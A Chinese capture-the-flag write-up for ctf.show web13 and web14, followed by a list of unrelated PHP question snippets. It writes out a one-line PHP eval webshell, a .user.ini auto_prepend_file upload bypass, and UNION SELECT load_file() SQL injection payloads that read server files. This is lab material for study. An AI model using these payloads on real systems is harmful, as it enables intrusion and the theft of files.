ctfweb入门(13-14)

2023-11-04

ctf.show_web13

进入题目是个文件上传的题目,尝试了一番文件上传漏洞利用的方法后,没有啥突破,可能有啥隐藏的目录,尝试源码泄露利用的方法,在输入upload.php.bak时成功下载下来源码。
.bak文件是备份文件。
这里列举一下常见的源码泄露
.hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏,还有以.phps .bak结尾的网页
在web题没有头绪的时候可以尝试可能会有奇效。
源码如下:

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,并且最要命的是后缀和名字都不能包含php。我们肯定是要上传一句话木马的,既然小于等于24可以这样写<?php eval($_POST['a']);正好24字节可以满足,但是由于后缀问题服务器无法解析该php语句。这里用一种特殊的手法来绕过。
1.我们先将一句话保存为1.txt。
2.上传1.txt
3上传.user.ini文件。
对于php中的.user.ini有如下解释:
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini中输入auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含a.txt的内容、

 那就直接构造参数吧,这里用post发送,我get试过了,不行,

查看当前目录有哪些文件:a=print_r(glob("*"));

a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");


information_schema.`tables`一个过滤手段information_schema.`columns`,同理

apache的默认网站根路径是 /var/www/html, 我们试一下读这个文件的内容

load_file('/var/www/html/secret.php'),加载文本文件读取信息。

web14

<?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__)

打开界面发现switch函数,遇到break才会停止,又因为有sleep所以时间应该小一点,直接?c=3

 访问

 感觉是一个注入漏洞,然后输入true  false返回值不一样,说明是数值型漏洞

CTFshow web14_Je3Z的博客-CSDN博客

到这我们发现数据库中并没有我们想要的flag,但是有一条提示tell you a secret,secert has a secret…. 所以很有可能flag在secret.php中,然后mysql提供了读取本地文件的函数load_file(),但是要权限,用user()看一下权限是root可以用load_file()读
 

?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

从这可以看出过滤的名字,然后query需要用get方法赋值

 

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

就可以得出flag

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctfweb入门(13-14) 的相关文章

  • 使用 Laravel 4 验证多个文件上传

    如何在 Laravel 4 中验证上传文件的数组 我已将其设置为允许多个文件 并且已测试这些文件是否存在于 Input file files 数组中 但如何验证每个文件呢 这是我尝试过的 notesData array date gt In
  • 如何使用 PHP 正确添加跨站请求伪造 (CSRF) 令牌

    我正在尝试为我网站上的表单添加一些安全性 其中一个表单使用 AJAX 另一个表单是简单的 联系我们 表单 我正在尝试添加 CSRF 令牌 我遇到的问题是令牌有时只显示在 HTML 值 中 其余时间 该值为空 这是我在 AJAX 表单上使用的
  • 让登录更安全

    我已使用此代码进行管理员登录 仅当用户输入正确的用户名和密码时才应打开loginhome php 但后来我意识到这根本不安全 任何人都可以直接访问 mywebsite loginhome php 而无需登录 注销后 可以使用后退按钮打开 l
  • WordPress 中的 add_action 函数

    嗯 我正在学习创建一个 WordPress 插件 我下载了一个并阅读了代码 然后我看到了这个 我假设 foo 是它将添加操作的标签 但是 array 到底是做什么的呢 add action foo array foo1 foo2 我在看ht
  • 检查php中位字段是否打开的正确方法是什么

    检查位字段是否打开的正确方法是什么 在 php 中 我想检查来自 db mysql 的位字段是否打开 这是正确的方法吗 if bit 1 还有其他方法吗 我看到有人使用代码ord http jameslow com 2008 08 12 m
  • openssl_pkey_get_details($res) 不返回公共指数

    我在用着这个例子 https stackoverflow com a 12575951 2016196使用 php 生成的密钥进行 javascript 加密openssl图书馆 但是 details openssl pkey get de
  • 当数据验证失败时保留表单字段中的值

    我在弄清楚验证失败时如何保留用户数据时遇到问题 我对 PHP 有点陌生 所以我的逻辑可能会犯一些巨大的错误 目前 如果验证失败 所有字段都会被清除 并且 Post 数据也会消失 这是一些代码 假设用户输入无效电子邮件 我希望保留 名称 字段
  •  
    标记内删除

    我制作了简单的 BBCode 脚本 一切正常 但后来我使用了一个 javascript 库来美化我的代码 pre pre 现在我面临的唯一问题是 br 每行代码后面的标签 pre pre tags 所以问题是我怎样才能删除 br 标记哪些在
  • PHP 会话不适用于游戏

    我正在尝试模仿一款名为 SKUNK 用骰子玩 的游戏来完成一项作业 我无法让会话正常工作 这是我第一次使用 PHP 我还被告知无需会议即可完成 这是我的代码
  • 如何使用 php 发送服务器错误响应?

    一旦用户点击删除按钮我的 jQuery 脚本要求服务器删除所选项目 现在我想要我的php发送成功或错误响应的脚本 是否有可能触发错误回调万一该项目无法删除 Thanks 我的 jQuery 代码 ajax type post url myA
  • 如何使用 php 下载/打印页面的特定部分

    我有一个 HTML 页面如下 Lorem Ipsum is simply dummy text of the printing and typesetting industry Lorem Ipsum has been the indust
  • Symfony2 Assetic 和 Less Sourcemaps

    我不确定如何破解 assetic less 过滤器以输出源映射文件 我这里指的是LessFilterhttps github com kriswallsmith assetic blob master src Assetic Filter
  • 如何在原则 2 迁移中删除外键

    我想在原则 2 迁移中删除外键 但没有 dropForeignKeyConstraint 有谁知道怎么丢掉吗 public function down Schema schema table schema gt getTable table
  • 从 .phar 存档中提取文件

    对于 Phar 文件 我完全错过了一些东西 我正在安装一个需要 phpunit pdepend 和其他依赖项的项目 我将它们作为 phar 文件获取 但是 我无法使用命令行工具 php 命令 从中提取文件 我用谷歌搜索了这个问题 但没有发现
  • 随机组合 MySQL 数据库中的两个单词

    我有一个包含名词和形容词的数据库 例如 id type word 1 noun apple 2 noun ball 3 adj clammy 4 noun keyboard 5 adj bloody ect 我想创建一个查询 它将抓取 10
  • Woocommerce 结账自定义选择字段

    我有以下功能 将选择列表添加到 woo commerce 结账表单中 woocommerce form field airport pickup array type gt select class gt array airport pic
  • SQL 最近日期

    我需要在 php 中获取诸如 2010 04 27 之类的日期作为字符串 并在表中找到最近的 5 个日期 表中的日期保存为日期类型 您可以使用DATEDIFF http dev mysql com doc refman 5 1 en dat
  • 表单提交后如何保留选择字段中的选定值?

    我有一个用于将票证上传到数据库的主页 我有一个选择字段 我想保留用户在提交表单之前选择的值 但它没有发生 这是我选择字段的代码
  • Doctrine EntityManager 清除嵌套实体中的方法

    我想用学说批量插入处理 http doctrine orm readthedocs org en latest reference batch processing html为了优化大量实体的插入 问题出在 Clear 方法上 它表示此方法
  • Magento - 自定义支付模块

    这是一个非常普遍的问题 但这里是 我正在尝试在 Magento 中创建一个自定义支付模块 我创建了一个 常规 模块 可以连接到 Magento 事件 观察者模型 但是我如何告诉 Magento 将模块视为支付模块 以便它显示在管理后端和结账

随机推荐

  • 数据通信-路由基础

    1 IP路由选择原理 路由器的工作内容 路由器知道目标地址 发现到达目标地址的可能的路由 选择最佳路径 路由表 维护路由信息 转发IP数据 IP路由表 初始化情况下 路由器所知的网段 只有其直连接口所在网段 路由器自动将接口所在网段的路由写
  • 【注意】Kafka生产者异步发送消息仍有可能阻塞

    文章目录 问题描述 原因分析 解决办法 总结 问题描述 Kafka是常用的消息中间件 在Spring Boot项目中 使用KafkaTemplate作为生产者发送消息 有时 为了不影响主业务流程 会采用异步发送的方式 如下所示 Slf4j
  • GIS 图层

    GIS图层 从直观的角度看 就是按某种属性对数据分为若干文件 比如铁路L 公路 城市道路 乡村道路 分成若干层 从开发的角度 图层对应一张数据库表 这张表可能存在数据库中 也可能存在GIS相关文件中 图层包含要素 要素对应一条记录 做开发时
  • 丁奇mysql学习笔记-基础篇

    一 mysql的逻辑架构 问题解决 如果表 T 中没有字段 k 而你执行了这个语句 select from T where k 1 那肯定是会报 不存在这个列 的错误 Unknown column k in where clause 你觉得
  • 在Linux安装anaconda3和Pycharm

    第一步 在anaconda3官网下载Linux版本的anaconda3 官网 anaconda3 下载完成后打开终端terminal 进入下载文件的所在目录下 输入ls就可以看到所下载的文件了 第二步 准备安装Anaconda3 进入安装包
  • 【C语言】中,输入一个数组,用for循环实现将输入的n个数字按照从大到小的顺序输出。【通俗简单易懂】

    本篇文章中 我们将讲述在C语言中 输入一个数组 如何用for循环实现将输入的n个数字按照从大到小输出 一 定义数组并初始化 首先 我们定义一个整形的数组并将其初始化 输入n 来决定数组中整数的个数 然后用for循环来输入这个数组中的各个数字
  • mysql用存储过程通过传入的参数id更新字段数据,结果更新了表中所有该字段的数据

    近日一个业务 需要用存储过程实现 其中有一句只是简单的通过id更新字段的语句 但是调用存储过程中发现 会更新表格所有数据 如下图 图一 表中现有数据 需要更新的字段是红框里的 图二 存储过程截图如下 红框里的更新语句 调用存储过程 如图三
  • 二十. Kubernetes 存储挂载

    目录 一 存储挂载 volumes卷的分类 1 EmptyDir 示例 2 hostPath 示例 3 HostDir 示例 4 NFS 网络数据卷示例 持久化卷 二 持久化存储的 PV PVC StorageClass PV 的创建与使用
  • fswebcam一次拍摄多张图片(存在问题)

    初衷 由于树莓派上使用python v4l2capture有问题 因此想了个中间办法 使用fswebcam一次连续拍摄多张图片 fswebcam no banner d dev video0 r 1920x1080 F 15 save 1
  • 一文汇总开源大语言模型,人人都可以拥有自己的ChatGPT

    前言 OpenAI发布的ChatGPT火爆全球以来 全球互联网大厂陆续跟进 纷纷宣布了自家的Chat产品 如Google的Bard 百度的文心一言 阿里的通义千问等等 这些Chat产品背后都是依赖的大语言模型 Large Language
  • keepalive+haproxy实现高可用

    目录 一 搭建环境 1 基本环境 二 修改配置文件 1 建立haproxy配置文件 2 修改haproxy配置文件 3 修改keeplive配置文件 三 启动服务验证 1 HAproxy虚拟机启动haproxy服务和keepalived服务
  • 守护进程的编程规则

    要理解守护进程的编程规则必须先搞明白进程组 会话 组长进程等关系 1 进程组 每个进程除了有一个进程ID之外 还属于一个进程组 进程组是一个或者多个进程的集合 每个进程组都有一个组长进程 组长进程的标识是 其进程ID和进程组ID相等 2 会
  • 基于粒子群算法优化的DBN深度置信网络数据预测及其Matlab实现

    基于粒子群算法优化的DBN深度置信网络数据预测及其Matlab实现 深度置信网络 Deep Belief Network DBN 是一类具有多层结构的前向神经网络 它由多个受限制玻尔兹曼机 Restricted Boltzmann Mach
  • UART串口Shell软硬件模型分析总结

    文章目录 层次一 最底层逻辑配置交互 如何从Uart硬件读写单个字节数据 层次二 抽象串口软件模块交互 基于串口对接输入输出流 和 Printf适配 层次三 类似Shell封装抽象交互 基于串口交互命令行界面 命令解析 补全 修改 记录 c
  • df -h 详解和centos 磁盘清理 /dev/vda1系统盘满了

    df h 检查一台服务器磁盘使用空间 发现磁盘已经使用了100 思路是 1 cd usr 当然这里不一定是 usr目录 最好是cd到 根目录再执行下一步 2 du sh 看哪个目录占用空间大 3 重复前两步 根据实际情况删除或者移走 4 日
  • QT 之键盘事件( keyPressEvent)

    一 介绍 keyPressEvent是QWidget里面的函数 所以凡是继承自QWidget的类都可以通过实现这个函数来完成对按键事件的响应 要让当前的widget能够响应按键事件 最先需要做的事情是 调用 setFocusPolicy Q
  • Vue3动画路由转场

  • PWA及小程序在系统生态方面的支持对比

    PWA代表 渐进式网络应用 Progressive Web Application 它是一种结合了网页和移动应用程序功能的技术概念 PWA旨在提供类似于原生应用程序的用户体验 包括离线访问 推送通知 后台同步等功能 同时又具有网页的优势 如
  • JS new操作符具体做了什么?

    1 意义 在JavaScript中 new 操作符用于创建一个新的对象实例 具体来说 new 操作符会执行以下步骤 JavaScript中的new操作符是一个非常重要的操作符 它用于创建一个新的对象实例 2 实例化步骤 创建一个新的空对象
  • ctfweb入门(13-14)

    ctf show web13 进入题目是个文件上传的题目 尝试了一番文件上传漏洞利用的方法后 没有啥突破 可能有啥隐藏的目录 尝试源码泄露利用的方法 在输入upload php bak时成功下载下来源码 bak文件是备份文件 这里列举一下常